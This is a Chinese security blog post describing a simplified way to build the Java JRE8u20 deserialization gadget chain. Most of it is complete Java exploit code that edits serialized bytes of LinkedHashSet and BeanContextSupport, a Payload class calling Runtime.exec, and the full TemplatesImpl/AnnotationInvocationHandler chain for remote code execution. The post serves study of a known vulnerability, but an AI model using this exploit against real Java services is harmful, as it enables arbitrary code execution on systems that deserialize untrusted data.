起因

在看jre8u20这个Gadget的时候,通过阅读其他师傅的文章,感觉原理自己似乎是弄懂了,但是无论如何写不出来。无论是pwntester全手动构造序列化字节码,还是n1nty师傅或者haby0师傅的方式,逻辑都挺复杂。SerialWriter的方式最具有扩展性,但是又要去看新的代码,实在不想看也看不懂;修改ObjectOutputStream反序列化逻辑的方式似乎是个相对简单的办法,但是改着改着我自己逻辑就晕了;全手动构造序列化字节码看起来最简单,但是如何修改偏移量让人发狂,虽然lightless师傅已经做了示例,可那么一大堆反序列化字节码确实让人望而却步。那能不能有一种更简单的方式来构造jre8u20Gadget呢?运气不错,果然被我发现了一个。

3个小知识点

1.jdk7u21 中的 LinkedHashSet 也可以加入其他对象

jdk7u21中使用哈希碰撞的方式触发了RCE,但是通常都是只向LinkedHashSet中塞了2个对象,其实只要塞入了特定的那2个对象,再塞入多少个其他的对象完全无所谓。如下图所示,向LinkedHashSet中又塞入了一个字符串,但是并不影响整个流程的运行。

2. 通过修改反序列化字节码修改 LinkedHashSet 中的元素个数

ByteArrayOutputStream baous = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baous);

        LinkedHashSet set = new LinkedHashSet();
        set.add("aaa");

        oos.writeObject(set);
        oos.writeObject("bbb");
        oos.writeObject("ccc");
        oos.close();

        byte[] bytes = baous.toByteArray();
        //修改hashset的长度(元素个数),由 1 修改为 3
        bytes[89] = 3;


        //调整 TC_ENDBLOCKDATA 标记的位置
        //97 = a
        for(int i = 0; i < bytes.length; i++){
            if(bytes[i] == 97 && bytes[i+1] == 97 && bytes[i+2] == 97){
                bytes = Util.deleteAt(bytes, i + 3);
                break;
            }
        }

        bytes = Util.addAtLast(bytes, (byte) 0x78);

        FileOutputStream fous = new FileOutputStream("case1.ser");
        fous.write(bytes);
        fous.close();

        //反序列化
        FileInputStream fis = new FileInputStream("case1.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        LinkedHashSet deserializedSet = (LinkedHashSet) ois.readObject();
        ois.close();

        for(Object obj : deserializedSet){
            System.out.println(obj);
        }

上述代码中,在进行反序列化时,LinkedHashSet中只有一个元素aaa,随后接着反序列化了字符串bbbccc,但是通过对序列化后的字节码进行修改,使得其结果和

set.add("aaa");
set.add("bbb");
set.add("ccc");
oos.writeObject(set);

的结果是一致的,这一点可以上述代码的运行结果中得以证明。

这个原理较为简单,可以用下图进行简单说明

3. 通过修改反序列化字节码修改使 BeanContextSupport 反序列指定的Object

jre8u20中使用了BeanContextSupport,如果其serializable的值为不为0,会进入到readChildren中,随后调用ois.readObject()读取序列化字节码中的内容。其代码如下所示:

private synchronized void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {

        synchronized(BeanContext.globalHierarchyLock) {
            ois.defaultReadObject();

            initialize();

            bcsPreDeserializationHook(ois);

            if (serializable > 0 && this.equals(getBeanContextPeer()))
                readChildren(ois);

            deserialize(ois, bcmListeners = new ArrayList(1));
        }
    }

 public final void readChildren(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        int count = serializable;

        while (count-- > 0) {
            Object                      child = null;
            BeanContextSupport.BCSChild bscc  = null;

            try {
                child = ois.readObject();
                bscc  = (BeanContextSupport.BCSChild)ois.readObject();
            } catch (IOException ioe) {
                continue;
            } catch (ClassNotFoundException cnfe) {
                continue;
            }
        ...
}

我们可以通过修改字节码的方式,让BeanContextSupport在反序列化时,反序列化其随后的对象,代码如下:

//此 demo 需要运行 jdk <= 7u20 的情况下运行,如果大于此版本,需要调整

        BeanContextSupport bcs = new BeanContextSupport();
        Class cc = Class.forName("java.beans.beancontext.BeanContextSupport");
        Field serializable = cc.getDeclaredField("serializable");
        serializable.setAccessible(true);
        serializable.set(bcs, 0);

        Field beanContextChildPeer = cc.getSuperclass().getDeclaredField("beanContextChildPeer");
        beanContextChildPeer.set(bcs, bcs);

        ByteArrayOutputStream baous = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baous);

        oos.writeObject(bcs);
        oos.writeObject(new Payload());
        oos.close();

        byte[] bytes = baous.toByteArray();

        //将 serializable 的值修改为 1
        //0x73 = 115, 0x78 = 120
        //0x73 for TC_OBJECT, 0x78 for TC_ENDBLOCKDATA
        for(int i = 0; i < bytes.length; i++){
            if(bytes[i] == 120 && bytes[i+1] == 0 && bytes[i+2] == 1 && bytes[i+3] == 0 &&
                    bytes[i+4] == 0 && bytes[i+5] == 0 && bytes[i+6] == 0 && bytes[i+7] == 115){
                bytes[i+6] = 1;
                break;
            }
        }


        /**
             TC_BLOCKDATA - 0x77
             Length - 4 - 0x04
             Contents - 0x00000000
             TC_ENDBLOCKDATA - 0x78
         **/

        //把这部分内容先删除,再附加到最后
        //0x77 = 119, 0x78 = 120
        //0x77 for TC_BLOCKDATA, 0x78 for TC_ENDBLOCKDATA
        for(int i = 0; i < bytes.length; i++){
            if(bytes[i] == 119 && bytes[i+1] == 4 && bytes[i+2] == 0 && bytes[i+3] == 0 &&
                    bytes[i+4] == 0 && bytes[i+5] == 0 && bytes[i+6] == 120){
                bytes = Util.deleteAt(bytes, i);
                bytes = Util.deleteAt(bytes, i);
                bytes = Util.deleteAt(bytes, i);
                bytes = Util.deleteAt(bytes, i);
                bytes = Util.deleteAt(bytes, i);
                bytes = Util.deleteAt(bytes, i);
                bytes = Util.deleteAt(bytes, i);
                break;
            }
        }


        bytes = Util.addAtLast(bytes, (byte) 0x77);
        bytes = Util.addAtLast(bytes, (byte) 0x04);
        bytes = Util.addAtLast(bytes, (byte) 0x00);
        bytes = Util.addAtLast(bytes, (byte) 0x00);
        bytes = Util.addAtLast(bytes, (byte) 0x00);
        bytes = Util.addAtLast(bytes, (byte) 0x00);
        bytes = Util.addAtLast(bytes, (byte) 0x78);

        FileOutputStream fileOutputStream = new FileOutputStream("case2.ser");
        fileOutputStream.write(bytes);
        fileOutputStream.close();


        //反序列化
        FileInputStream fis = new FileInputStream("case2.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        ois.readObject();
        ois.close();

我们在 oos.writeObject(bcs)之后,又向序列化流中写入了Payload对象oos.writeObject(new Payload())Payload的代码非常简单

public class Payload implements Serializable {
    public Payload() throws IOException {
        Runtime.getRuntime().exec("calc");
    }
}

我们修改了字节码,使BeanContextSupportserializable值变为1,随后将Paylaod对象的反序列化字节码往前挪了挪,从而再反序列化时,BeanContextSupport在反序列化完毕后,进入readChildren逻辑,进而反序列了Payload,运行结果可以说明这个问题。

其中,上述修改字节码代码的逻辑可以简单的用下面这张图进行说明。

构造 jre8u20 Gadget

在掌握了上述知识点后,我们就已经可以构造 jre8u20 Gadget了,语言描述比较困难,用一张图进行说明。

在进行序列化的时候,向序列化流中写入了4个对象,但是通过修改序列化中的一些特殊的byte,构造了一个我们想要的序列化流。在反序列化的时候,LinkedHashSet读到的size3,在反序列化第一个对象BeanContextSupport的时候,会进入到BeanContextSupportreadChildren逻辑,成功将AnnotationInvocationHander进行了还原(虽然AnnotationInvocationHander在反序列化的时候会抛出异常,但是BeanContextSupport捕捉了异常)。随后LinkedHashSet在反序列化第二个和三个元素的时候,会发生哈希碰撞,从而导致RCE
代码如下(相关代码已上传至github):

final Object templates = Gadgets.createTemplatesImpl("calc");
        String zeroHashCodeStr = "f5a5a608";

        HashMap map = new HashMap();
        map.put(zeroHashCodeStr, "foo");

        InvocationHandler handler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
        Reflections.setFieldValue(handler, "type", Templates.class);
        Templates proxy = Gadgets.createProxy(handler, Templates.class);
        Reflections.setFieldValue(templates, "_auxClasses", null);
        Reflections.setFieldValue(templates, "_class", null);

        map.put(zeroHashCodeStr, templates); // swap in real object

        LinkedHashSet set = new LinkedHashSet();

        BeanContextSupport bcs = new BeanContextSupport();
        Class cc = Class.forName("java.beans.beancontext.BeanContextSupport");
        Field serializable = cc.getDeclaredField("serializable");
        serializable.setAccessible(true);
        serializable.set(bcs, 0);

        Field beanContextChildPeer = cc.getSuperclass().getDeclaredField("beanContextChildPeer");
        beanContextChildPeer.set(bcs, bcs);

        set.add(bcs);

        //序列化
        ByteArrayOutputStream baous = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baous);

        oos.writeObject(set);
        oos.writeObject(handler);
        oos.writeObject(templates);
        oos.writeObject(proxy);
        oos.close();

        byte[] bytes = baous.toByteArray();
        System.out.println("[+] Modify HashSet size from  1 to 3");
        bytes[89] = 3; //修改hashset的长度(元素个数)

        //调整 TC_ENDBLOCKDATA 标记的位置
        //0x73 = 115, 0x78 = 120
        //0x73 for TC_OBJECT, 0x78 for TC_ENDBLOCKDATA
        for(int i = 0; i < bytes.length; i++){
            if(bytes[i] == 0 && bytes[i+1] == 0 && bytes[i+2] == 0 & bytes[i+3] == 0 &&
                    bytes[i+4] == 120 && bytes[i+5] == 120 && bytes[i+6] == 115){
                System.out.println("[+] Delete TC_ENDBLOCKDATA at the end of HashSet");
                bytes = Util.deleteAt(bytes, i + 5);
                break;
            }
        }


        //将 serializable 的值修改为 1
        //0x73 = 115, 0x78 = 120
        //0x73 for TC_OBJECT, 0x78 for TC_ENDBLOCKDATA
        for(int i = 0; i < bytes.length; i++){
            if(bytes[i] == 120 && bytes[i+1] == 0 && bytes[i+2] == 1 && bytes[i+3] == 0 &&
                    bytes[i+4] == 0 && bytes[i+5] == 0 && bytes[i+6] == 0 && bytes[i+7] == 115){
                System.out.println("[+] Modify BeanContextSupport.serializable from 0 to 1");
                bytes[i+6] = 1;
                break;
            }
        }

        /**
            TC_BLOCKDATA - 0x77
            Length - 4 - 0x04
            Contents - 0x00000000
            TC_ENDBLOCKDATA - 0x78
         **/

        //把这部分内容先删除,再附加到 AnnotationInvocationHandler 之后
        //目的是让 AnnotationInvocationHandler 变成 BeanContextSupport 的数据流
        //0x77 = 119, 0x78 = 120
        //0x77 for TC_BLOCKDATA, 0x78 for TC_ENDBLOCKDATA
        for(int i = 0; i < bytes.length; i++){
            if(bytes[i] == 119 && bytes[i+1] == 4 && bytes[i+2] == 0 && bytes[i+3] == 0 &&
                    bytes[i+4] == 0 && bytes[i+5] == 0 && bytes[i+6] == 120){
                System.out.println("[+] Delete TC_BLOCKDATA...int...TC_BLOCKDATA at the End of BeanContextSupport");
                bytes = Util.deleteAt(bytes, i);
                bytes = Util.deleteAt(bytes, i);
                bytes = Util.deleteAt(bytes, i);
                bytes = Util.deleteAt(bytes, i);
                bytes = Util.deleteAt(bytes, i);
                bytes = Util.deleteAt(bytes, i);
                bytes = Util.deleteAt(bytes, i);
                break;
            }
        }

        /*
              serialVersionUID - 0x00 00 00 00 00 00 00 00
                  newHandle 0x00 7e 00 28
                  classDescFlags - 0x00 -
                  fieldCount - 0 - 0x00 00
                  classAnnotations
                    TC_ENDBLOCKDATA - 0x78
                  superClassDesc
                    TC_NULL - 0x70
              newHandle 0x00 7e 00 29
         */
        //0x78 = 120, 0x70 = 112
        //0x78 for TC_ENDBLOCKDATA, 0x70 for TC_NULL
        for(int i = 0; i < bytes.length; i++){
            if(bytes[i] == 0 && bytes[i+1] == 0 && bytes[i+2] == 0 && bytes[i+3] == 0 &&
                    bytes[i + 4] == 0 && bytes[i+5] == 0 && bytes[i+6] == 0 && bytes[i+7] == 0 &&
                    bytes[i+8] == 0 && bytes[i+9] == 0 && bytes[i+10] == 0 && bytes[i+11] == 120 &&
                    bytes[i+12] == 112){
                System.out.println("[+] Add back previous delte TC_BLOCKDATA...int...TC_BLOCKDATA after invocationHandler");
                i = i + 13;
                bytes = Util.addAtIndex(bytes, i++, (byte) 0x77);
                bytes = Util.addAtIndex(bytes, i++, (byte) 0x04);
                bytes = Util.addAtIndex(bytes, i++, (byte) 0x00);
                bytes = Util.addAtIndex(bytes, i++, (byte) 0x00);
                bytes = Util.addAtIndex(bytes, i++, (byte) 0x00);
                bytes = Util.addAtIndex(bytes, i++, (byte) 0x00);
                bytes = Util.addAtIndex(bytes, i++, (byte) 0x78);
                break;
            }
        }

        //将 sun.reflect.annotation.AnnotationInvocationHandler 的 classDescFlags 由 SC_SERIALIZABLE 修改为 SC_SERIALIZABLE | SC_WRITE_METHOD
        //这一步其实不是通过理论推算出来的,是通过debug 以及查看 pwntester的 poc 发现需要这么改
        //原因是如果不设置 SC_WRITE_METHOD 标志的话 defaultDataEnd = true,导致 BeanContextSupport -> deserialize(ois, bcmListeners = new ArrayList(1))
        // -> count = ois.readInt(); 报错,无法完成整个反序列化流程
        // 没有 SC_WRITE_METHOD 标记,认为这个反序列流到此就结束了
        // 标记: 7375 6e2e 7265 666c 6563 --> sun.reflect...
        for(int i = 0; i < bytes.length; i++){
            if(bytes[i] == 115 && bytes[i+1] == 117 && bytes[i+2] == 110 && bytes[i+3] == 46 &&
                    bytes[i + 4] == 114 && bytes[i+5] == 101 && bytes[i+6] == 102 && bytes[i+7] == 108 ){
                System.out.println("[+] Modify sun.reflect.annotation.AnnotationInvocationHandler -> classDescFlags from SC_SERIALIZABLE to " +
                        "SC_SERIALIZABLE | SC_WRITE_METHOD");
                i = i + 58;
                bytes[i] = 3;
                break;
            }
        }

        //加回之前删除的 TC_BLOCKDATA,表明 HashSet 到此结束
        System.out.println("[+] Add TC_BLOCKDATA at end");
        bytes = Util.addAtLast(bytes, (byte) 0x78);


        FileOutputStream fous = new FileOutputStream("jre8u20.ser");
        fous.write(bytes);

        //反序列化
        FileInputStream fis = new FileInputStream("jre8u20.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        ois.readObject();
        ois.close();

运行结果:

参考

pwntester/JRE8u20_RCE_Gadget
JRE8u20反序列化漏洞分析
深度 - Java 反序列化 Payload 之 JRE8u20
JRE8u20 反序列化

点击收藏 | 0 关注 | 1 打赏
登录 后跟帖